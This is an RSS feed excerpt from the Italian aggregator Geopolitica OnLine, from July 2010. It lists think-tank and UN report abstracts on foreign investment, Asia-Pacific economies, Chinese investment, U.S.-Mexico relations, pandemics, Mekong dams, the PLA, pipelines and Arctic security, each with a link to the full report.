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	<title>Geopolitica OnLine</title>
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		<title>World Investment Report 2010 &#8211; UNCTAD</title>
		<link>http://www.geopoliticaonline.com/?p=15590</link>
		<comments>http://www.geopoliticaonline.com/?p=15590#comments</comments>
		<pubDate>Thu, 29 Jul 2010 16:33:43 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Clima]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[Energia]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[ICT]]></category>
		<category><![CDATA[Onu]]></category>
		<category><![CDATA[Rapporti]]></category>

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		<description><![CDATA[Global foreign direct investment (FDI) witnessed a modest, but uneven recovery in the first half of 2010. This sparks some cautious optimism for FDI prospects in the short run and for a full recovery further on. UNCTAD expects global inflows to reach more than $1.2 trillion in 2010, rise further to $1.3–1.5 trillion in 2011, and head towards $1.6–2 trillion in 2012. However, these FDI prospects are fraught with risks and uncertainties, including the fragility of the global economic recovery. Developing and transition economies attracted half of global FDI inflows, and invested one quarter of global FDI outflows. They are leading the FDI recovery and will remain favourable destinations for FDI. Most regions are expected to see a rebound in FDI flows in 2010. The evolving nature and role of FDI varies among regions. Africa is witnessing the rise of new sources of FDI. Industrial upgrading through FDI in Asia is spreading to more industries and more countries. Latin American transnational corporations (TNCs) are going global. Foreign banks play a stabilizing role in South-East Europe, but their large scale presence also raises potential concerns. High levels of unemployment in developed countries triggered concerns about the impact of outward investment on employment at home]]></description>
			<content:encoded><![CDATA[<p>Global foreign direct investment (FDI) witnessed a modest, but uneven recovery in the first half of 2010. This sparks some cautious optimism for FDI prospects in the short run and for a full recovery further on. UNCTAD expects global inflows to reach more than $1.2 trillion in 2010, rise further to $1.3–1.5 trillion in 2011, and head towards $1.6–2 trillion in 2012. However, these FDI prospects are fraught with risks and uncertainties, including the fragility of the global economic recovery. Developing and transition economies attracted half of global FDI inflows, and invested one quarter of global FDI outflows. They are leading the FDI recovery and will remain favourable destinations for FDI. Most regions are expected to see a rebound in FDI flows in 2010. The evolving nature and role of FDI varies among regions. Africa is witnessing the rise of new sources of FDI. Industrial upgrading through FDI in Asia is spreading to more industries and more countries. Latin American transnational corporations (TNCs) are going global. Foreign banks play a stabilizing role in South-East Europe, but their large scale presence also raises potential concerns. High levels of unemployment in developed countries triggered concerns about the impact of outward investment on employment at home</p>
<p><a href="http://www.unctad.org/Templates/WebFlyer.asp?intItemID=5535&amp;lang=1" target="_blank">leggi</a></p>
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		<item>
		<title>Economic and Social Survey of Asia and the Pacific 2010 &#8211; UNESCAP</title>
		<link>http://www.geopoliticaonline.com/?p=15594</link>
		<comments>http://www.geopoliticaonline.com/?p=15594#comments</comments>
		<pubDate>Wed, 28 Jul 2010 21:47:34 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Clima]]></category>
		<category><![CDATA[Demografia]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[Energia]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[ICT]]></category>
		<category><![CDATA[Immigrazione]]></category>
		<category><![CDATA[Onu]]></category>
		<category><![CDATA[Pandemie]]></category>
		<category><![CDATA[Rapporti]]></category>
		<category><![CDATA[Sicurezza]]></category>

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		<description><![CDATA[Even at the height of this crisis, Asia and the Pacific displayed a new-found resilience. Its developing economies achieved an annual growth rate of 4.0%, making it the fastest-growing region in the world, thanks to growth in China and India at 8.7% and 7.2%, respectively. However, the rest of Asia-Pacific’s developing economies contracted in 2009 by 0.6%. These contrasting performances resulted from many different factors. The first concerned the extent of dependence on developed country markets. The worst-affected countries had shares of exports to GDP that exceeded 60%, and the greater the share of these exports that were absorbed by the developed markets the greater was the economic contraction. The second factor concerned the extent of exposure to the exit of portfolio capital as investors sought to cover their losses in the western capital markets. Even at the height of this crisis, Asia and the Pacific displayed a new-found resilience. Its developing economies achieved an annual growth rate of 4.0%, making it the fastest-growing region in the world, thanks to growth in China and India at 8.7% and 7.2%, respectively. However, the rest of Asia-Pacific’s developing economies contracted in 2009 by 0.6%. These contrasting performances resulted from many different factors. The first concerned the extent of dependence on developed country markets. The worst-affected countries had shares of exports to GDP that exceeded 60%, and the greater the share of these exports that were absorbed by the developed markets the greater was the economic contraction. The second factor concerned the extent of exposure to the exit of portfolio capital as investors sought to cover their losses in the western capital markets]]></description>
			<content:encoded><![CDATA[<p>Even at the height of this crisis, Asia and the Pacific displayed a new-found resilience. Its developing economies achieved an annual growth rate of 4.0%, making it the fastest-growing region in the world, thanks to growth in China and India at 8.7% and 7.2%, respectively. However, the rest of Asia-Pacific’s developing economies contracted in 2009 by 0.6%. These contrasting performances resulted from many different factors. The first concerned the extent of dependence on developed country markets. The worst-affected countries had shares of exports to GDP that exceeded 60%, and the greater the share of these exports that were absorbed by the developed markets the greater was the economic contraction. The second factor concerned the extent of exposure to the exit of portfolio capital as investors sought to cover their losses in the western capital markets. Even at the height of this crisis, Asia and the Pacific displayed a new-found resilience. Its developing economies achieved an annual growth rate of 4.0%, making it the fastest-growing region in the world, thanks to growth in China and India at 8.7% and 7.2%, respectively. However, the rest of Asia-Pacific’s developing economies contracted in 2009 by 0.6%. These contrasting performances resulted from many different factors. The first concerned the extent of dependence on developed country markets. The worst-affected countries had shares of exports to GDP that exceeded 60%, and the greater the share of these exports that were absorbed by the developed markets the greater was the economic contraction. The second factor concerned the extent of exposure to the exit of portfolio capital as investors sought to cover their losses in the western capital markets</p>
<p><a href="http://www.unescap.org/pdd/publications/survey2010/download/index.asp" target="_blank">leggi</a></p>
]]></content:encoded>
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		<title>Tracking Chinese Investment: Western Hemisphere Now Top Target &#8211; Heritage Foundation</title>
		<link>http://www.geopoliticaonline.com/?p=15588</link>
		<comments>http://www.geopoliticaonline.com/?p=15588#comments</comments>
		<pubDate>Wed, 28 Jul 2010 16:33:12 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Analisi]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[Energia]]></category>
		<category><![CDATA[English]]></category>

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		<description><![CDATA[China has at least $2.5 trillion in foreign exchange and must, due to its own balance of payments rules, invest it all overseas. Most unavoidably goes into American bonds, the only market big enough to absorb it. However, since the beginning of 2005, the PRC has invested almost $200 billion in foreign assets outside bonds. Official Chinese data are unhelpful, but The Heritage Foundation’s China Global Investment Tracker sorts non-bond spending by country and sector. The tracker is current through June 30, 2010. Thus far this year, Chinese investment has been predominantly characterized by a rush to the Western Hemisphere, excluding the U.S. The first half of 2010 saw record activity, with large Chinese investments and engineering contracts surpassing $45 billion worldwide. Just over half went to non-U.S. Western Hemisphere countries. (Chinese non-bond investment in the U.S. was $1.6 billion.)]]></description>
			<content:encoded><![CDATA[<p>China has at least $2.5 trillion in foreign exchange and must, due to its own balance of payments rules, invest it all overseas. Most unavoidably goes into American bonds, the only market big enough to absorb it. However, since the beginning of 2005, the PRC has invested almost $200 billion in foreign assets outside bonds. Official Chinese data are unhelpful, but The Heritage Foundation’s China Global Investment Tracker sorts non-bond spending by country and sector. The tracker is current through June 30, 2010. Thus far this year, Chinese investment has been predominantly characterized by a rush to the Western Hemisphere, excluding the U.S. The first half of 2010 saw record activity, with large Chinese investments and engineering contracts surpassing $45 billion worldwide. Just over half went to non-U.S. Western Hemisphere countries. (Chinese non-bond investment in the U.S. was $1.6 billion)</p>
<p><a href="http://www.heritage.org/Research/Reports/2010/07/Tracking-Chinese-Investment-Western-Hemisphere-Now-Top-Target" target="_blank">leggi</a></p>
]]></content:encoded>
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		<item>
		<title>Mexico-U.S. Relations: Issues for Congress &#8211; CRS</title>
		<link>http://www.geopoliticaonline.com/?p=15586</link>
		<comments>http://www.geopoliticaonline.com/?p=15586#comments</comments>
		<pubDate>Wed, 28 Jul 2010 16:29:56 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Clima]]></category>
		<category><![CDATA[Droga]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[Energia]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Giustizia]]></category>
		<category><![CDATA[Immigrazione]]></category>
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		<description><![CDATA[(PDF) - In recent years, U.S.-Mexican relations have grown stronger as the two countries have worked together to combat drug trafficking and secure their shared border. The 111th Congress has maintained an active interest in Mexico with counternarcotics, border, and trade issues dominating the agenda. To date, Congress has appropriated some $1.3 billion in assistance for Mexico under the Mérida Initiative, an anti-crime and counterdrug package first funded in FY2008. The Senate-passed version of, H.R. 4899, the FY2010 Supplemental Appropriations measure, would provide $175 million in additional assistance for Mérida-related programs in Mexico. The House is reportedly considering inserting additional funds for justice sectors programs in Mexico and for border security into its version of the supplemental measure. The Obama Administration asked for $346.6 million in assistance for Mexico in its FY2011 budget request, including $310 million in Mérida-related funding. Congress is likely to maintain a keen interest in how implementation of the Mérida Initiative and related border security initiatives are proceeding, particularly now that the President has authorized National Guard troops to be sent to the Southwest border. Congress may also consider proposals for comprehensive immigration reform]]></description>
			<content:encoded><![CDATA[<p>(PDF) &#8211; In recent years, U.S.-Mexican relations have grown stronger as the two countries have worked together to combat drug trafficking and secure their shared border. The 111th Congress has maintained an active interest in Mexico with counternarcotics, border, and trade issues dominating the agenda. To date, Congress has  appropriated some $1.3 billion in assistance for Mexico under the Mérida Initiative, an anti-crime and counterdrug package first funded in FY2008. The Senate-passed version of, H.R. 4899, the FY2010 Supplemental Appropriations measure, would provide $175 million in additional assistance for Mérida-related programs in Mexico. The House is reportedly considering inserting additional funds for justice sectors programs in Mexico and for border security into its version of the supplemental measure. The Obama Administration asked for $346.6 million in assistance for Mexico in its FY2011 budget request, including $310 million in Mérida-related funding. Congress is likely to maintain a keen interest in how implementation of the Mérida Initiative and related border security initiatives are proceeding, particularly now that the President has authorized National Guard troops to be sent to the Southwest border. Congress may also consider proposals for comprehensive immigration reform</p>
<p><a href="http://kms1.isn.ethz.ch/serviceengine/Files/ISN/100287/ipublicationdocument_singledocument/3e3cbab8-eca3-4a4c-9f36-da28ad123c71/en/145101.pdf" target="_blank">leggi</a></p>
]]></content:encoded>
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		<item>
		<title>Pandemic Preemption. A U.S. Strategy for Infectious Disease Control &#8211; USIP</title>
		<link>http://www.geopoliticaonline.com/?p=15584</link>
		<comments>http://www.geopoliticaonline.com/?p=15584#comments</comments>
		<pubDate>Wed, 28 Jul 2010 16:22:59 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Analisi]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Pandemie]]></category>
		<category><![CDATA[Sicurezza]]></category>

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		<description><![CDATA[The spread of old and new infectious diseases constitutes both a threat to U.S. and global security and peace and an opportunity for the United States to burnish its international image through strengthening foreign capacity in infectious disease surveillance and response. Despite an increase in overall U.S. expenditures on global public health, U.S. policy is not fully meeting this challenge or capturing this opportunity. Little-known policies implemented by the Centers for Disease Control and Prevention, the United States Agency for International Development, and the Department of Defense offer cost-effective strategies that should be expanded under President Obama's new Global Health Initiative to improve infectious disease control abroad as both a frontline defense against a potential pandemic and a peaceful and positive dimension of U.S. global health diplomacy - by William J. Long]]></description>
			<content:encoded><![CDATA[<p>The spread of old and new infectious diseases constitutes both a threat to U.S. and global security and peace and an opportunity for the United States to burnish its international image through strengthening foreign capacity in infectious disease surveillance and response. Despite an increase in overall U.S. expenditures on global public health, U.S. policy is not fully meeting this challenge or capturing this opportunity. Little-known policies implemented by the Centers for Disease Control and Prevention, the United States Agency for International Development, and the Department of Defense offer cost-effective strategies that should be expanded under President Obama&#8217;s new Global Health Initiative to improve infectious disease control abroad as both a frontline defense against a potential pandemic and a peaceful and positive dimension of U.S. global health diplomacy &#8211; by William J. Long</p>
<p><a href="http://www.usip.org/resources/pandemic-preemption" target="_blank">leggi</a></p>
]]></content:encoded>
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		<title>Mekong Tipping Point: Hydropower Dams, Human Security and Regional Stability &#8211; Stimson Center</title>
		<link>http://www.geopoliticaonline.com/?p=15582</link>
		<comments>http://www.geopoliticaonline.com/?p=15582#comments</comments>
		<pubDate>Wed, 28 Jul 2010 16:18:45 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Analisi]]></category>
		<category><![CDATA[Clima]]></category>
		<category><![CDATA[Democrazia]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[Energia]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Giustizia]]></category>
		<category><![CDATA[Immigrazione]]></category>
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		<description><![CDATA[The October 1991 Paris Peace Accords on Cambodia closed the book on four decades of bitter conflict in the Mekong region of Southeast Asia.  The Accords created new opportunities for broad-based economic and social development based on reconstruction, renewal and regional economic development in the 795,000 square kilometer Mekong River Basin, sometimes called the Greater Mekong Subregion (GMS).   Unfortunately, the achievement of peace  also opened the way for new perils to human security and regional stability in the form of an uncoordinated and environmentally unsustainable rush to exploit the rich natural resources of an ecosystem that was formed by, and continues to depend on, the water of this 4,880 kilometer long river.  The effects of climate change, which are already felt in altered rainfall patterns and prolonged drought, will only intensify the competition to exploit the Mekong Basin’s still abundant, but increasingly stressed water resources - by Richard P. Cronin and Timothy Hamlin]]></description>
			<content:encoded><![CDATA[<p>The October 1991 Paris Peace Accords on Cambodia closed the book on four decades of bitter conflict in the Mekong region of Southeast Asia.  The Accords created new opportunities for broad-based economic and social development based on reconstruction, renewal and regional economic development in the 795,000 square kilometer Mekong River Basin, sometimes called the Greater Mekong Subregion (GMS).   Unfortunately, the achievement of peace  also opened the way for new perils to human security and regional stability in the form of an uncoordinated and environmentally unsustainable rush to exploit the rich natural resources of an ecosystem that was formed by, and continues to depend on, the water of this 4,880 kilometer long river.  The effects of climate change, which are already felt in altered rainfall patterns and prolonged drought, will only intensify the competition to exploit the Mekong Basin’s still abundant, but increasingly stressed water resources &#8211; by Richard P. Cronin and Timothy Hamlin</p>
<p><a href="http://www.stimson.org/pub.cfm?ID=980" target="_blank">leggi</a></p>
]]></content:encoded>
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		<title>The PLA at Home and Abroad: Assessing the Operational Capabilities of China&#8217;s Military &#8211; SSI</title>
		<link>http://www.geopoliticaonline.com/?p=15580</link>
		<comments>http://www.geopoliticaonline.com/?p=15580#comments</comments>
		<pubDate>Wed, 28 Jul 2010 16:14:58 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Clima]]></category>
		<category><![CDATA[Democrazia]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[Energia]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[ICT]]></category>
		<category><![CDATA[Immigrazione]]></category>
		<category><![CDATA[Onu]]></category>
		<category><![CDATA[Rapporti]]></category>
		<category><![CDATA[Religione]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Spazio]]></category>

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		<description><![CDATA[The chapters presented in this volume have demonstrated first, Chinese and PLA leaders have a strong sense of mission and concern for China’s security and well-being. Second, the PLA is committed to the transformation in military affairs with Chinese characteristics. Third, the PLA is eager to learn from the U.S. military to expand and improve its operational capabilities. Finally, the PLA has made progress in its transformation and operational capabilities. For a long time, American leaders have been surprised with the PLA’s advances. This volume show that these advances did not come out of the blue. Although much of the learning and many of the improvements are still far from what is desired (from Chinese expectations and American critiques), and some of the learning has even created contradictions for the PLA, these persistent and diligent learning practices will eventually bring the PLA to a higher level of proficiency in its capabilities. The emergence of a much more sophisticated PLA in the coming years should not be a surprise - by Roy Kamphausen, David Lai and Andrew Scobell]]></description>
			<content:encoded><![CDATA[<p>The chapters presented in this volume have demonstrated first, Chinese and PLA leaders have a strong sense of mission and concern for China’s security and well-being. Second, the PLA is committed to the transformation in military affairs with Chinese characteristics. Third, the PLA is eager to learn from the U.S. military to expand and improve its operational capabilities. Finally, the PLA has made progress in its transformation and operational capabilities. For a long time, American leaders have been surprised with the PLA’s advances. This volume show that these advances did not come out of the blue. Although much of the learning and many of the improvements are still far from what is desired (from Chinese expectations and American critiques), and some of the learning has even created contradictions for the PLA, these persistent and diligent learning practices will eventually bring the PLA to a higher level of proficiency in its capabilities. The emergence of a much more sophisticated PLA in the coming years should not be a surprise &#8211; by Roy Kamphausen, David Lai and Andrew Scobell</p>
<p><a href="http://www.strategicstudiesinstitute.army.mil/pubs/display.cfm?pubID=995" target="_blank">leggi</a></p>
]]></content:encoded>
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		<title>The Role of Pipelines in Regional Cooperation &#8211; Brookings Institution</title>
		<link>http://www.geopoliticaonline.com/?p=15578</link>
		<comments>http://www.geopoliticaonline.com/?p=15578#comments</comments>
		<pubDate>Wed, 28 Jul 2010 16:03:46 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Analisi]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[Energia]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Sicurezza]]></category>

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		<description><![CDATA[Natural resources, such as oil and gas, are commonly viewed as catalysts of conflict. Because individuals, ethnic groups, and governments often see control of scarce resources through the lens of a zero-sum game, they compete with each other over ownership. Competition can easily spill into conflict. For this reason, it may seem odd to ask whether oil and gas pipelines can contribute to resolving existing conflicts between states. This paper argues that they can; under the right conditions, a shared need for resource commerce can be a means of fostering cooperation between states. While water resources have frequently been considered in cooperative terms, little policy attention has been paid to the role of transboundary oil and gas infrastructure in strengthening interstate relations. Due to the permanence of their infrastructure, pipelines are likely to have a more lasting impact and create greater incentives for cooperation over time. While not without drawbacks, pipelines remain the most effective and economical means of transport, and their role is likely to grow rapidly in the years ahead - by Saleem Ali]]></description>
			<content:encoded><![CDATA[<p>Natural resources, such as oil and gas, are commonly viewed as catalysts of conflict. Because individuals, ethnic groups, and governments often see control of scarce resources through the lens of a zero-sum game, they compete with each other over ownership. Competition can easily spill into conflict. For this reason, it may seem odd to ask whether oil and gas pipelines can contribute to resolving existing conflicts between states. This paper argues that they can; under the right conditions, a shared need for resource commerce can be a means of fostering cooperation between states. While water resources have frequently been considered in cooperative terms, little policy attention has been paid to the role of transboundary oil and gas infrastructure in strengthening interstate relations. Due to the permanence of their infrastructure, pipelines are likely to have a more lasting impact and create greater incentives for cooperation over time. While not without drawbacks, pipelines remain the most effective and economical means of transport, and their role is likely to grow rapidly in the years ahead &#8211; by Saleem Ali</p>
<p><a href="http://www.brookings.edu/papers/2010/07_middle_east_ali.aspx?p=1" target="_blank">leggi</a></p>
]]></content:encoded>
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		<title>International Statistics on Crime and Justice &#8211; HEUNI/UNODC</title>
		<link>http://www.geopoliticaonline.com/?p=15576</link>
		<comments>http://www.geopoliticaonline.com/?p=15576#comments</comments>
		<pubDate>Wed, 28 Jul 2010 15:59:12 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Droga]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Giustizia]]></category>
		<category><![CDATA[Immigrazione]]></category>
		<category><![CDATA[Italioti]]></category>
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		<description><![CDATA[HEUNI Report series contains a number of studies, seminar reports, and other material on developments in crime and criminal justice in Europe and North America]]></description>
			<content:encoded><![CDATA[<p>HEUNI Report series contains a number of studies, seminar reports, and other material on developments in crime and criminal justice in Europe and North America</p>
<p><a href="http://www.heuni.fi/text/Etusivu/Publications/1266333832841" target="_blank">leggi</a></p>
]]></content:encoded>
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		<title>The Newly Emerging Arctic Security Environment &#8211; Canadian Defence &amp; Foreign Affairs Institute (CDFAI)</title>
		<link>http://www.geopoliticaonline.com/?p=15574</link>
		<comments>http://www.geopoliticaonline.com/?p=15574#comments</comments>
		<pubDate>Wed, 28 Jul 2010 15:50:07 +0000</pubDate>
		<dc:creator>l.rendi</dc:creator>
				<category><![CDATA[Analisi]]></category>
		<category><![CDATA[Clima]]></category>
		<category><![CDATA[Economia]]></category>
		<category><![CDATA[Energia]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Giustizia]]></category>
		<category><![CDATA[Onu]]></category>
		<category><![CDATA[Sicurezza]]></category>
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		<description><![CDATA[(PDF) - The Arctic is changing and, as a result, is garnering unprecedented international interest.
With warming temperatures, melting ice and greater accessibility to resources in the region, concerns for security in the region are at the forefront of the Arctic states’ attempts to maintain their foothold in the Arctic. All of the Arctic states – Canada, Russia, Denmark, Norway and the United States – have downplayed concerns about conflict sparked by a “race for resources” in the Arctic by issuing policy statements. The core of these statements is that the Arctic states will work together to maintain peaceful cooperation in the region. However, the Arctic states are seemingly contradicting the intent of their statements as evidenced by their current actions. All of the Arctic states have begun rebuilding their military forces and capabilities in order to operate in the region. Personnel are undertaking Arctic training exercises; submarines that can operate in ice are being developed or enhanced; icebreakers are being built; and so forth. The catalyst for the Arctic states’ efforts appears to be a recognition that the Arctic is critically vital to their interests and they will take the steps necessary to defend these interests. The consequence of these efforts is that notwithstanding the public statements of peace and cooperation in the Arctic issued by the Arctic states, the strategic value of the Arctic is growing. As this value grows, each state will attach a greater value to their own national interests in the region. The Arctic states may be talking cooperation, but they are preparing for conflict - by Rob Huebert]]></description>
			<content:encoded><![CDATA[<p>(PDF) &#8211; The Arctic is changing and, as a result, is garnering unprecedented international interest. With warming temperatures, melting ice and greater accessibility to resources in the region, concerns for security in the region are at the forefront of the Arctic states’ attempts to maintain their foothold in the Arctic. All of the Arctic states – Canada, Russia, Denmark, Norway and the United States – have downplayed concerns about conflict sparked by a “race for resources” in the Arctic by issuing policy statements. The core of these statements is that the Arctic states will work together to maintain peaceful cooperation in the region. However, the Arctic states are seemingly contradicting the intent of their statements as evidenced by their current actions. All of the Arctic states have begun rebuilding their military forces and capabilities in order to operate in the region. Personnel are undertaking Arctic training exercises; submarines that can operate in ice are being developed or enhanced; icebreakers are being built; and so forth. The catalyst for the Arctic states’ efforts appears to be a recognition that the Arctic is critically vital to their interests and they will take the steps necessary to defend these interests. The consequence of these efforts is that notwithstanding the public statements of peace and cooperation in the Arctic issued by the Arctic states, the strategic value of the Arctic is growing. As this value grows, each state will attach a greater value to their own national interests in the region. The Arctic states may be talking cooperation, but they are preparing for conflict &#8211; by Rob Huebert</p>
<p><a href="http://www.cdfai.org/PDF/The%20Newly%20Emerging%20Arctic%20Security%20Environment.pdf" target="_blank">leggi</a></p>
]]></content:encoded>
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